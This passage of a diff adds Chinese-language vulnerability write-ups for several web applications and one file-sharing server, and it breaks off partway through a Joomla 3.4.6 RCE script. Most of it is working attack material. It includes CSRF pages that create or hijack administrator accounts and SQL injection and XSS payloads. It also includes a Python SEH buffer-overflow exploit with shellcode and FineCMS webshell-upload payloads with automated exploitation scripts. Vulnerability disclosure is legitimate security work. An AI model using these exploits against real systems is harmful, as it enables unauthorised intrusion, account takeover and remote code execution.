<input type="hidden" name="user/ccreateNewUser" value="�ˆ›�»�" />
|
||||
<input type="submit" value="Submit request" />
|
||||
</form>
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
@@ -0,0 +1,29 @@
|
||||
### 漏洞简介
|
||||
|
||||
|漏洞名称|上报日期|漏洞发现者|产品首页|软件链接|版本|CVE编号|
|
||||
--------|--------|---------|--------|-------|----|------|
|
||||
|Cobub Razor 0.7.2越权增加管理员账户|2018-04-09|ppb(ppb@5ecurity.cn)|[https://github.com/cobub/razor/](https://github.com/cobub/razor/) | [https://github.com/cobub/razor/](https://github.com/cobub/razor/) |0.72| [CVE-2018-7745](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-7745)|
|
||||
|
||||
#### 漏洞概述
|
||||
|
||||
> Cobub Razor 0.7.2越权增加管理员账户漏洞,在不登录的情况下发送特定数据包,可新增管理员账号。保存如下利用代码为html页面,打开页面将增加test/test123的管理员账号,漏洞发现者已经将漏洞信息通过[issues](https://github.com/cobub/razor/issues/161)告知作者。
|
||||
|
||||
|
||||
### POC实现代码如下:
|
||||
|
||||
> 利用代码如下:
|
||||
``` html
|
||||
<html>
|
||||
<body>
|
||||
<script>history.pushState('', '', '/')</script>
|
||||
<form action="http://127.0.0.1/index.php?/install/installation/createuserinfo" method="POST">
|
||||
<input type="hidden" name="siteurl" value="http://127.0.0.1/" />
|
||||
<input type="hidden" name="superuser" value="test" />
|
||||
<input type="hidden" name="pwd" value="test123" />
|
||||
<input type="hidden" name="verifypassword" value="test123" />
|
||||
<input type="hidden" name="email" value="[email protected]" />
|
||||
<input type="submit" value="Submit request" />
|
||||
</form>
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
@@ -0,0 +1,21 @@
|
||||
### 漏洞简介
|
||||
|
||||
|漏洞名称|上报日期|漏洞发现者|产品首页|软件链接|版本|CVE编号|
|
||||
--------|--------|---------|--------|-------|----|------|
|
||||
|Cobub Razor 0.8.0存在SQL注入漏洞|2018-04-16|Kyhvedn(yinfengwuyueyi@163.com、kyhvedn@5ecurity.cn)|[http://www.cobub.com/](http://www.cobub.com/) | [https://github.com/cobub/razor/](https://github.com/cobub/razor/) |0.8.0| [CVE-2018-8057](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-8057)|
|
||||
|
||||
#### 漏洞概述
|
||||
|
||||
> Cobub Razor 0.8.0存在SQL注入漏洞,“/application/controllers/manage/channel.php”页面的“channel_name”及“platform”参数过滤不严格导致存在SQL注入漏洞。Cobub Razor是一个在github上开源的系统,漏洞发现者已经将漏洞信息通过[issues](https://github.com/cobub/razor/issues/162)告知作者。
|
||||
|
||||
|
||||
### POC实现代码如下:
|
||||
|
||||
> http://localhost/index.php?/manage/channel/addchannel
|
||||
|
||||
> POST data:
|
||||
|
||||
> 1.channel_name=test" AND (SELECT 1700 FROM(SELECT COUNT(*),CONCAT(0x7171706b71,(SELECT (ELT(1700=1700,1))),0x71786a7671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- JQon&platform=1
|
||||
|
||||
> 2.channel_name=test" AND SLEEP(5)-- NklJ&platform=1
|
||||
|
||||
@@ -0,0 +1,40 @@
|
||||
### 漏洞简介
|
||||
|
||||
|漏洞名称|上报日期|漏洞发现者|产品首页|软件链接|版本|CVE编号|
|
||||
--------|--------|---------|--------|-------|----|------|
|
||||
|Cobub Razor 0.8.0存在物理路径泄露漏洞|2018-04-20|Kyhvedn(yinfengwuyueyi@163.com、kyhvedn@5ecurity.cn)|[http://www.cobub.com/](http://www.cobub.com/) | [https://github.com/cobub/razor/](https://github.com/cobub/razor/) | 0.8.0| [CVE-2018-8056](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-8056)/[CVE-2018-8770](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-8770)|
|
||||
|
||||
#### 漏洞概述
|
||||
|
||||
> Cobub Razor 0.8.0存在物理路径泄露漏洞,当访问特定url时,系统会显示物理路径信息。Cobub Razor是一个在github上开源的系统,漏洞发现者已经将漏洞信息通过[issues](https://github.com/cobub/razor/issues/162)告知作者。
|
||||
|
||||
### POC实现代码如下:
|
||||
|
||||
> 方法一:
|
||||
|
||||
``` raw
|
||||
URL: http://localhost/export.php
|
||||
HTTP Method: GET
|
||||
URL: http://localhost/index.php?/manage/channel/addchannel
|
||||
HTTP Method: POST
|
||||
Data: channel_name=test"&platform=1
|
||||
```
|
||||
> 方法二:
|
||||
> Cobub Razor 0.8.0存在物理路径泄露漏洞,当访问特定url时,系统会显示物理路径信息。Cobub Razor是一个在github上开源的系统。
|
||||
|
||||
``` raw
|
||||
HTTP Method: GET
|
||||
http://localhost/tests/generate.php
|
||||
http://localhost/tests/controllers/getConfigTest.php
|
||||
http://localhost/tests/controllers/getUpdateTest.php
|
||||
http://localhost/tests/controllers/postclientdataTest.php
|
||||
http://localhost/tests/controllers/posterrorTest.php
|
||||
http://localhost/tests/controllers/posteventTest.php
|
||||
http://localhost/tests/controllers/posttagTest.php
|
||||
http://localhost/tests/controllers/postusinglogTest.php
|
||||
http://localhost/tests/fixtures/Controller_fixt.php
|
||||
http://localhost/tests/fixtures/Controller_fixt2.php
|
||||
http://localhost/tests/fixtures/view_fixt2.php
|
||||
http://localhost/tests/libs/ipTest.php
|
||||
http://localhost/tests/models/commonDbfix.php
|
||||
```
|
||||
@@ -0,0 +1,21 @@
|
||||
### 漏洞简介
|
||||
|
||||
|漏洞名称|上报日期|漏洞发现者|产品首页|软件链接|版本|CVE编号|
|
||||
--------|--------|---------|--------|-------|----|------|
|
||||
|Couch through 2.0存在路径泄露漏洞|2018-03-04| zzw (zzw@5ecurity.cn)|[https://github.com/CouchCMS/CouchCMS/](https://github.com/CouchCMS/CouchCMS/) | [https://github.com/CouchCMS/CouchCMS/](https://github.com/CouchCMS/CouchCMS/) |2.0 | [CVE-2018-7662](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-7662)|
|
||||
|
||||
|
||||
#### 漏洞概述
|
||||
|
||||
> Couch through 2.0存在路径泄露漏洞,当访问特定url时系统返回的报错信息中暴露物理路径信息。Couch through是一个在github上开源的系统,漏洞发现者已经将漏洞信息通过[issues](https://github.com/CouchCMS/CouchCMS/issues/46)告知作者。
|
||||
|
||||
|
||||
### POC实现代码如下:
|
||||
|
||||
------
|
||||
|
||||
访问如下页面,报错信息中显示完整物理路径信息。
|
||||
|
||||
Location:
|
||||
includes/mysql2i/mysql2i.func.php
|
||||
addons/phpmailer/phpmailer.php
|
||||
@@ -0,0 +1,39 @@
|
||||
### 漏洞简介
|
||||
|
||||
|漏洞名称|上报日期|漏洞发现者|产品首页|软件链接|版本|CVE编号|
|
||||
--------|--------|---------|--------|-------|----|------|
|
||||
|DomainMod的XSS|2018-05-24|longer/套哥(taoge@5ecurity.cn)|[https://github.com/domainmod/domainmod](https://github.com/domainmod/domainmod) | [https://github.com/domainmod/domainmod](https://github.com/domainmod/domainmod) |4.09.03/4.10.0| [CVE-2018-11403](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-11403)/[CVE-2018-11403](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-11403)/[CVE-2018-11404](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-11404)/[CVE-2018-11558](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-11558)/[CVE-2018-11559](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-11559)|
|
||||
|
||||
#### 漏洞概述
|
||||
|
||||
> DomainMod v4.09.03版本和v4.10.0版本 存在XSS的页面
|
||||
|
||||
|
||||
### POC实现代码如下:
|
||||
|
||||
> DomainMod v4.09.03版本的“assets/edit/account-owner.php”页面的“oid”参数存在一个XSS漏洞,当用户登陆后访问url`http://127.0.0.1/assets/edit/account-owner.php?del=1&oid=%27%22%28%29%26%25%3Cacx%3E%3CScRiPt%20%3Eprompt%28973761%29%3C/ScRiPt%3E`,会触发XSS漏洞。DomainMod是一个在github上开源的系统,漏洞发现者已经将漏洞信息通过[issues](https://github.com/domainmod/domainmod/issues/63)告知作者。
|
||||
|
||||
>CSRF测试页面代码如下:
|
||||
``` html
|
||||
http://127.0.0.1/assets/edit/account-owner.php?del=1&oid=%27%22%28%29%26%25%3Cacx%3E%3CScRiPt%20%3Eprompt%28973761%29%3C/ScRiPt%3E
|
||||
```
|
||||
> DomainMod v4.09.03版本的“assets/edit/ssl-provider-account.php”页面的“sslpaid”参数存在一个XSS漏洞,当用户登陆后访问url`http://127.0.0.1/assets/edit/ssl-provider-account.php?del=1&sslpaid=%27%22%28%29%26%25%3Cacx%3E%3CScRiPt%20%3Eprompt%28931289%29%3C/ScRiPt%3E`,会触发XSS漏洞。DomainMod是一个在github上开源的系统,漏洞发现者已经将漏洞信息通过[issues](https://github.com/domainmod/domainmod/issues/63)告知作者。
|
||||
|
||||
>CSRF测试页面代码如下:
|
||||
``` html
|
||||
http://127.0.0.1/assets/edit/ssl-provider-account.php?del=1&sslpaid=%27%22%28%29%26%25%3Cacx%3E%3CScRiPt%20%3Eprompt%28931289%29%3C/ScRiPt%3E
|
||||
```
|
||||
> DomainMod 4.10.0版本的“/settings/profile/index.php”页面的“new_first_name”参数过滤不严格导致存在一个XSS漏洞。DomainMod是一个在github上开源的系统,漏洞发现者已经将漏洞信息通过[issues](https://github.com/domainmod/domainmod/issues/66)告知作者。
|
||||
|
||||
>用户登陆后提交如下数据包,更改用户信息后,当管理员查看用户是XSS漏洞触发:
|
||||
``` raw
|
||||
post url https://demo.domainmod.org/settings/profile/
|
||||
post data:new_first_name=test%22%3E%3Cscript%3Ealert%28%2F1111%2F%29%3C%2Fscript%3E&new_last_name=test&new_email_address=test%40test.com&new_currency=USD&new_timezone=Canada%2FPacific&new_expiration_emails=0
|
||||
```
|
||||
> DomainMod 4.10.0版本的“/settings/profile/index.php”页面的“new_last_name”参数过滤不严格导致存在一个存储型XSS漏洞。DomainMod是一个在github上开源的系统,漏洞发现者已经将漏洞信息通过[issues](https://github.com/domainmod/domainmod/issues/66)告知作者。
|
||||
|
||||
>用户登陆后提交如下数据包,更改用户信息后,当管理员查看用户是XSS漏洞触发:
|
||||
``` raw
|
||||
post url https://demo.domainmod.org/settings/profile/
|
||||
post data:new_first_name=test&new_last_name=test%22%3E%3Cscript%3Ealert%28%2F1111%2F%29%3C%2Fscript%3E&new_email_address=test%40test.com&new_currency=USD&new_timezone=Canada%2FPacific&new_expiration_emails=0
|
||||
```
|
||||
@@ -0,0 +1,60 @@
|
||||
### Easy File Sharing Web Server 7.2 - GET 缓冲区溢出 (SEH)
|
||||
|
||||
### POC
|
||||
|
||||
```python
|
||||
|
||||
# Exploit Title: Easy File Sharing Web Server 7.2 - GET HTTP request SEH Buffer Overflow
|
||||
# Tested on: XP SP3 EN
|
||||
# category: Remote Exploit
|
||||
# Usage: ./exploit.py ip port
|
||||
|
||||
import socket
|
||||
import sys
|
||||
|
||||
host = str(sys.argv[1])
|
||||
port = int(sys.argv[2])
|
||||
|
||||
a = socket.socket()
|
||||
|
||||
print "Connecting to: " + host + ":" + str(port)
|
||||
a.connect((host,port))
|
||||
|
||||
entire=4500
|
||||
|
||||
# Junk
|
||||
buff = "A"*4061
|
||||
|
||||
# Next SEH
|
||||
buff+= "\xeb\x0A\x90\x90"
|
||||
|
||||
# pop pop ret
|
||||
buff+= "\x98\x97\x01\x10"
|
||||
|
||||
buff+= "\x90"*19
|
||||
|
||||
# calc.exe
|
||||
# Bad Characters: \x20 \x2f \x5c
|
||||
shellcode = (
|
||||
"\xd9\xcb\xbe\xb9\x23\x67\x31\xd9\x74\x24\xf4\x5a\x29\xc9"
|
||||
"\xb1\x13\x31\x72\x19\x83\xc2\x04\x03\x72\x15\x5b\xd6\x56"
|
||||
"\xe3\xc9\x71\xfa\x62\x81\xe2\x75\x82\x0b\xb3\xe1\xc0\xd9"
|
||||
"\x0b\x61\xa0\x11\xe7\x03\x41\x84\x7c\xdb\xd2\xa8\x9a\x97"
|
||||
"\xba\x68\x10\xfb\x5b\xe8\xad\x70\x7b\x28\xb3\x86\x08\x64"
|
||||
"\xac\x52\x0e\x8d\xdd\x2d\x3c\x3c\xa0\xfc\xbc\x82\x23\xa8"
|
||||
"\xd7\x94\x6e\x23\xd9\xe3\x05\xd4\x05\xf2\x1b\xe9\x09\x5a"
|
||||
"\x1c\x39\xbd"
|
||||
)
|
||||
buff+= shellcode
|
||||
|
||||
buff+= "\x90"*7
|
||||
|
||||
buff+= "A"*(4500-4061-4-4-20-len(shellcode)-20)
|
||||
|
||||
# GET
|
||||
a.send("GET " + buff + " HTTP/1.0\r\n\r\n")
|
||||
|
||||
a.close()
|
||||
|
||||
print "Done..."
|
||||
```
|
||||
@@ -0,0 +1,208 @@
|
||||
## 0x01 前言
|
||||
|
||||
就要被**,美其名曰:比我的web安全研究和代码审计更有前途。当然是选择原谅他啦。
|
||||
先审计finecms去去火,找到六处漏洞,先放两处容易被发现的getshell和对应的两个python脚本
|
||||
|
||||
## 0x02 getshell
|
||||
|
||||
**第一处getshell**:在C:/phpStudy/WWW/finecms/dayrui/controllers/Api.php中的data2函数,大约在第115行,有问题的代码大约在178行
|
||||
|
||||
```
|
||||
public function data2() {
|
||||
|
||||
$data = array();
|
||||
|
||||
// 安全码认证
|
||||
$auth = $this->input->get('auth', true);
|
||||
if ($auth != md5(SYS_KEY)) {
|
||||
// 授权认证码不正确
|
||||
$data = array('msg' => '授权认证码不正确', 'code' => 0);
|
||||
} else {
|
||||
// 解析数据
|
||||
$cache = '';
|
||||
$param = $this->input->get('param');
|
||||
if (isset($param['cache']) && $param['cache']) {
|
||||
$cache = md5(dr_array2string($param));
|
||||
$data = $this->get_cache_data($cache);
|
||||
}
|
||||
if (!$data) {
|
||||
|
||||
if ($param == 'login') {
|
||||
// 登录认证
|
||||
$code = $this->member_model->login(
|
||||
$this->input->get('username'),
|
||||
$this->input->get('password'),
|
||||
0, 1);
|
||||
if (is_array($code)) {
|
||||
$data = array(
|
||||
'msg' => 'ok',
|
||||
'code' => 1,
|
||||
'return' => $this->member_model->get_member($code['uid'])
|
||||
);
|
||||
} elseif ($code == -1) {
|
||||
$data = array('msg' => fc_lang('会员不存在'), 'code' => 0);
|
||||
} elseif ($code == -2) {
|
||||
$data = array('msg' => fc_lang('密码不正确'), 'code' => 0);
|
||||
} elseif ($code == -3) {
|
||||
$data = array('msg' => fc_lang('Ucenter注册失败'), 'code' => 0);
|
||||
} elseif ($code == -4) {
|
||||
$data = array('msg' => fc_lang('Ucenter:会员名称不合法'), 'code' => 0);
|
||||
}
|
||||
} elseif ($param == 'update_avatar') {
|
||||
// 更新头像
|
||||
$uid = (int)$_REQUEST['uid'];
|
||||
$file = $_REQUEST['file'];
|
||||
//
|
||||
// 创建图片存储文件夹
|
||||
$dir = SYS_UPLOAD_PATH.'/member/'.$uid.'/';
|
||||
@dr_dir_delete($dir);
|
||||
if (!is_dir($dir)) {
|
||||
dr_mkdirs($dir);
|
||||
}
|
||||
$file = str_replace(' ', '+', $file);
|
||||
if (preg_match('/^(data:\s*image\/(\w+);base64,)/', $file, $result)){
|
||||
$new_file = $dir.'0x0.'.$result[2];
|
||||
if (!@file_put_contents($new_file, base64_decode(str_replace($result[1], '', $file)))) {
|
||||
$data = array(
|
||||
'msg' => '目录权限不足或磁盘已满',
|
||||
'code' => 0
|
||||
);
|
||||
}
|
||||
```
|
||||
|
||||
其中,首先
|
||||
|
||||
```
|
||||
$file = $_REQUEST['file'];
|
||||
```
|
||||
|
||||
获取$file变量
|
||||
|
||||
```
|
||||
if (preg_match('/^(data:\s*image\/(\w+);base64,)/', $file, $result)){
|
||||
$new_file = $dir.'0x0.'.$result[2];
|
||||
if (!@file_put_contents($new_file, base64_decode(str_replace($result[1], '', $file)))) {
|
||||
$data = array(
|
||||
'msg' => '目录权限不足或磁盘已满',
|
||||
'code' => 0
|
||||
);
|
||||
```
|
||||
|
||||
然后用preg_match函数进行正则匹配,因为$file变量可控,所以$result也是可控的,从而$new_file也是可控的,可以构造为php文件,然后
|
||||
|
||||
```
|
||||
file_put_contents($new_file, base64_decode(str_replace($result[1], '', $file))))
|
||||
```
|
||||
|
||||
对$result[1]进行base64解码,然后写入$new_file文件中。显然,是可以任意写文件进行getshell的。所以,我们要让程序能够运行到这些代码,不能在之前就退出了。要经过
|
||||
|
||||
```
|
||||
$auth = $this->input->get('auth');
|
||||
if ($auth != md5(SYS_KEY))
|
||||
```
|
||||
|
||||
SYS_KEY被系统硬编码为24b16fede9a67c9251d3e7c7161c83ac,在C:phpStudyWWWconfigsystem.php中有定义。直接md5加密一次即可绕过
|
||||
|
||||
所以最终的payload为
|
||||
|
||||
```
|
||||
http://localhost:88/index.php?c=api&m=data2&auth=50ce0d2401ce4802751739552c8e4467¶m=update_avatar&file=data:image/php;base64,PD9waHAgcGhwaW5mbygpOz8+
|
||||
```
|
||||
|
||||
无需登录,直接getshell,路径为http://localhost:88/uploadfile/member/0/0x0.php
|
||||

|
||||
|
||||
**第二处getshell**:在文件C:/phpStudy/WWW/finecms/dayrui/controllers/member/Account.php中的upload函数
|
||||
|
||||
```php
|
||||
if (preg_match('/^(data:\s*image\/(\w+);base64,)/', $file, $result)){
|
||||
$new_file = $dir.'0x0.'.$result[2];
|
||||
if (!@file_put_contents($new_file, base64_decode(str_replace($result[1], '', $file)))) {
|
||||
exit(dr_json(0, '目录权限不足或磁盘已满'));
|
||||
|
||||
```
|
||||
|
||||
注册会员,登录
|
||||
|
||||
```
|
||||
访问:http://localhost:88/index.php?s=member&c=account&m=upload
|
||||
POST:tx=data:image/php;base64,PD9waHAgcGhwaW5mbygpOz8+
|
||||
```
|
||||
|
||||

|
||||

|
||||
|
||||
## 0x03 Python批量poc脚本
|
||||
|
||||
pocsuite和poc-T是两个成熟的poc框架,不过感觉核心代码是别人的,只写一些poc插件的话,就是为别人造轮子,所以抽了一些代码写了个自己的工具,可能连轻型框架都算不上,只够自己用的。
|
||||
第一处getshell的python代码(因为是直接getshell,无需登录,所以很简单):
|
||||
|
||||
```python
|
||||
import sys
|
||||
import requests
|
||||
def poc(target):
|
||||
payload="/index.php?c=api&m=data2&auth=50ce0d2401ce4802751739552c8e4467¶m=update_avatar&file=data:image/php;base64,PD9waHAgcGhwaW5mbygpOz8+"
|
||||
url=target+payload
|
||||
shell=target+'/uploadfile/member/0/0x0.php'
|
||||
try:
|
||||
result=requests.get(url,timeout=3)
|
||||
verify=requests.get(shell,timeout=3)
|
||||
if verify.status_code==200 and 'code' in verify.text:
|
||||
return True
|
||||
except Exception,e:
|
||||
print e
|
||||
```
|
||||
|
||||
第二处getshell的Python代码(需要自动化注册、登录、利用):
|
||||
|
||||
```python
|
||||
#Finecms version:5.0.8
|
||||
#Author:404notfound
|
||||
|
||||
import random
|
||||
import sys
|
||||
import requests
|
||||
def poc(url):
|
||||
username=random.randint(0,999999)
|
||||
seed = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
|
||||
email = []
|
||||
for i in range(8):
|
||||
email.append(random.choice(seed))
|
||||
email = ''.join(email)
|
||||
#print email+"@"+email+".com"
|
||||
#print username
|
||||
|
||||
#step 1 register
|
||||
#print "[+] register user"
|
||||
register_url=url+"/index.php?s=member&c=register&m=index"
|
||||
register_payload={"back":"","data[username]":username,"data[password]":"123456","data[password2]":"123456","data[email]":email+"@"+email+".com"}
|
||||
#step 2 login
|
||||
#print "[+] user login"
|
||||
login_url=url+"/index.php?s=member&c=login&m=index"
|
||||
login_payload={"back":"","data[username]":username,"data[password]":"123456","data[auto]":"1"}
|
||||
#step 3 attack
|
||||
#print "[+] loading payload"
|
||||
vul_url=url+"/index.php?s=member&c=account&m=upload"
|
||||
vul_payload={"tx":"data:image/php;base64,NDA0bm90Zm91bmQ8P3BocCBwaHBpbmZvKCk7Pz4="}
|
||||
try:
|
||||
s = requests.session()
|
||||
resu=s.post(register_url,data=register_payload)
|
||||
result=s.post(login_url,data=login_payload)
|
||||
result2=s.post(vul_url,data=vul_payload).content
|
||||
if "status" in result2:
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
except Exception,e:
|
||||
pass
|
||||
#print e
|
||||
#print "[+] ALL DONE"
|
||||
#step 4 find shell path
|
||||
|
||||
#print poc("http://localhost")
|
||||
```
|
||||
|
||||
主代码就不贴了,可以看我的GitHub:https://github.com/404notf0und
|
||||
效果还不错:
|
||||

|
||||
|
||||
@@ -0,0 +1,29 @@
|
||||
### 漏洞简介
|
||||
|
||||
|漏洞名称|上报日期|漏洞发现者|产品首页|软件链接|版本|CVE编号|
|
||||
--------|--------|---------|--------|-------|----|------|
|
||||
|Finecms_v5.4存在CSRF漏洞可修改管理员账户密码|2018-10-07|踏月留香|[http://www.finecms.net/](http://www.finecms.net/) | [http://down.chinaz.com/soft/32596.htm](http://down.chinaz.com/soft/32596.htm) |5.4| [CVE-2018-18191](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-18191)|
|
||||
|
||||
#### 漏洞概述
|
||||
|
||||
> 恶意攻击者可以精心伪造一个html页面诱骗已登录的管理用户点击,从而更改管理员账户密码。
|
||||
|
||||
### POC实现代码如下:
|
||||
|
||||
> exp代码如下:
|
||||
|
||||
``` html
|
||||
<html>
|
||||
<body>
|
||||
<script>history.pushState('', '', '/')</script>
|
||||
<form action="http://127.0.0.1/admin.php?c=member&m=edit&uid=1" method="POST">
|
||||
<input type="hidden" name="page" value="0" />
|
||||
<input type="hidden" name="member[email]" value="admin@163.com" />
|
||||
<input type="hidden" name="member[name]" value="admin" />
|
||||
<input type="hidden" name="member[phone]" value="18888888888" />
|
||||
<input type="hidden" name="member[password]" value="888888" />
|
||||
<input type="submit" value="Submit request" />
|
||||
</form>
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
@@ -0,0 +1,60 @@
|
||||
### 漏洞简介
|
||||
|
||||
|漏洞名称|上报日期|漏洞发现者|产品首页|软件链接|版本|CVE编号|
|
||||
--------|--------|---------|--------|-------|----|------|
|
||||
|GreenCMS v2.3.0603存在CSRF漏洞可获取webshell&增加管理员账户|2018-06-02|惜潮|[https://github.com/GreenCMS/GreenCMS](https://github.com/GreenCMS/GreenCMS) | [https://github.com/GreenCMS/GreenCMS](https://github.com/GreenCMS/GreenCMS) |v2.3.0603| [CVE-2018-11670](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-11670)/[CVE-2018-11671](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-11671)|
|
||||
|
||||
#### 漏洞概述
|
||||
|
||||
> 恶意攻击者可以精心伪造一个Html页面 从而获取网站webshell。GreenCMS是一个在github上开源的CMS系统,漏洞发现者已经将漏洞信息通过[issues](https://github.com/GreenCMS/GreenCMS/issues/108)/[issues](https://github.com/GreenCMS/GreenCMS/issues/109)告知作者。
|
||||
|
||||
|
||||
### POC实现代码如下:
|
||||
|
||||
> 从CSRF到get webshell 的exp代码如下:
|
||||
|
||||
``` html
|
||||
<span style="font-size:18px;"><!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<title>csrf测试</title>
|
||||
</head>
|
||||
<form action="http://127.0.0.1//14/index.php?m=admin&c=media&a=fileconnect" method="POST" id="transfer" name="transfer">
|
||||
<!-- 下面的是生成文件名为xc.php的脚本文件 路径 127.0.0.1/Upload/xc.php -->
|
||||
<script src="http://127.0.0.1/14/index.php?m=admin&c=media&a=fileconnect&cmd=mkfile&name=xc.php&target=l1_XA&_=1527839615462"></script>
|
||||
<input type="hidden" name="cmd" value="put">
|
||||
<input type="hidden" name="target" value="l1_eGMucGhw">
|
||||
<input type="hidden" name="content" value="<?php phpinfo();?>">
|
||||
<!-- 下面的是提交表单 将content中的命令写入脚本内 -->
|
||||
<button type="submit" value="Submit">WebShell</button>
|
||||
</form>
|
||||
</body>
|
||||
</html></span>
|
||||
```
|
||||
> 从CSRF到增加管理员 的exp代码如下:
|
||||
|
||||
``` html
|
||||
<span style="font-size:18px;"><!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<title>csrf测试</title>
|
||||
</head>
|
||||
<body>
|
||||
<form action="http://127.0.0.1//14/index.php?m=admin&c=access&a=adduserhandle" method="POST" id="transfer" name="transfer">
|
||||
<input type="hidden" name="user_id0" value="1">
|
||||
<input type="hidden" name="user_login" value="test1"> <!--在这里可以添加JS脚本用于获取cookies csrf+xss-->
|
||||
<input type="hidden" name="password" value="test1">
|
||||
<input type="hidden" name="rpassword" value="test1">
|
||||
<input type="hidden" name="user_nicename" value="123">
|
||||
<input type="hidden" name="user_email" value="123%40Qq.com">
|
||||
<input type="hidden" name="user_url" value="www.baidu.com">
|
||||
<input type="hidden" name="user_intro" value="test">
|
||||
<input type="hidden" name="user_status" value="1">
|
||||
<input type="hidden" name="role_id" value="1">
|
||||
<button type="submit" value="Submit">添加管理员</button>
|
||||
</form>
|
||||
</body>
|
||||
</html></span>
|
||||
```
|
||||
@@ -0,0 +1,48 @@
|
||||
### 漏洞简介
|
||||
|
||||
|漏洞名称|上报日期|漏洞发现者|产品首页|软件链接|版本|CVE编号|
|
||||
--------|--------|---------|--------|-------|----|------|
|
||||
|Hucart cms v5.7.4 CSRF漏洞可任意增加管理员账号|2019-01-13|AllenChen(520allen@gmail.com)|[http://www.hucart.com/](http://www.hucart.com/) | [http://www.hucart.com/](http://www.hucart.com/) |v5.7.4| [CVE-2019-6249](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-6249)|
|
||||
|
||||
#### 漏洞概述
|
||||
|
||||
> Hucart cms v5.7.4版本存在一个CSRF漏洞,当管理员登陆后访问下面CSRF测试页面可增加一个名为hack的管理员账号。
|
||||
|
||||
### POC实现代码如下:
|
||||
|
||||
> exp代码如下:
|
||||
> 增加一个名为hack密码为hack123的管理员账号。
|
||||
|
||||
``` html
|
||||
<html><body>
|
||||
<script type="text/javascript">
|
||||
function post(url,fields)
|
||||
{
|
||||
var p = document.createElement("form");
|
||||
p.action = url;
|
||||
p.innerHTML = fields;
|
||||
p.target = "_self";
|
||||
p.method = "post";
|
||||
document.body.appendChild(p);
|
||||
p.submit();
|
||||
}
|
||||
function csrf_hack()
|
||||
{
|
||||
var fields;
|
||||
|
||||
fields += "<input type='hidden' name='adm_user' value='hack' />";
|
||||
fields += "<input type='hidden' name='adm_email' value='[email protected]' />";
|
||||
fields += "<input type='hidden' name='adm_mobile' value='13888888888' />";
|
||||
fields += "<input type='hidden' name='adm_pwd' value='hack123' />";
|
||||
fields += "<input type='hidden' name='re_adm_pwd' value='hack123' />";
|
||||
fields += "<input type='hidden' name='adm_enabled' value='1' />";
|
||||
fields += "<input type='hidden' name='act_type' value='add' />";
|
||||
fields += "<input type='hidden' name='adm_id' value='' />";
|
||||
|
||||
var url = "http://localhost/hucart_cn/adminsys/index.php?load=admins&act=edit_info&act_type=add";
|
||||
post(url,fields);
|
||||
}
|
||||
window.onload = function() { csrf_hack();}
|
||||
</script>
|
||||
</body></html>
|
||||
```
|
||||
@@ -0,0 +1,669 @@
|
||||
### **Joomla-3.4.6-RCE**
|
||||
|
||||
> exp author: twitter:@momika233
|
||||
> from :https://github.com/momika233/Joomla-3.4.6-RCE
|
||||
> Software Link: https://downloads.joomla.org/it/cms/joomla3/3-4-6
|
||||
> Version: 3.0.0 --> 3.4.6
|
||||
|
||||
### POC 1
|
||||
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
|
||||
import requests
|
||||
from bs4 import BeautifulSoup
|
||||
import sys
|
||||
import string
|
||||
import random
|
||||
import argparse
|
||||
from termcolor import colored
|
||||
|
||||
PROXS = {'http':'127.0.0.1:8080'}
|
||||
PROXS = {}
|
||||
|
||||
def random_string(stringLength):
|
||||
letters = string.ascii_lowercase
|
||||
return ''.join(random.choice(letters) for i in range(stringLength))
|
||||
|
||||
|
||||
backdoor_param = random_string(50)
|
||||
|
||||
def print_info(str):
|
||||
print(colored("[*] " + str,"cyan"))
|
||||
|
||||
def print_ok(str):
|
||||
print(colored("[+] "+ str,"green"))
|
||||
|
||||
def print_error(str):
|
||||
print(colored("[-] "+ str,"red"))
|
||||
|
||||
def print_warning(str):
|
||||
print(colored("[!!] " + str,"yellow"))
|
||||
|
||||
def get_token(url, cook):
|
||||
token = ''
|
||||
resp = requests.get(url, cookies=cook, proxies = PROXS)
|
||||
html = BeautifulSoup(resp.text,'html.parser')
|
||||
# csrf token is the last input
|
||||
for v in html.find_all('input'):
|
||||
csrf = v
|
||||
csrf = csrf.get('name')
|
||||
return csrf
|
||||
|
||||
|
||||
def get_error(url, cook):
|
||||
resp = requests.get(url, cookies = cook, proxies = PROXS)
|
||||
if 'Failed to decode session object' in resp.text:
|
||||
#print(resp.text)
|
||||
return False
|
||||
#print(resp.text)
|
||||
return True
|
||||
|
||||
|
||||
def get_cook(url):
|
||||
resp = requests.get(url, proxies=PROXS)
|
||||
#print(resp.cookies)
|
||||
return resp.cookies
|
||||
|
||||
|
||||
def gen_pay(function, command):
|
||||
# Generate the payload for call_user_func('FUNCTION','COMMAND')
|
||||
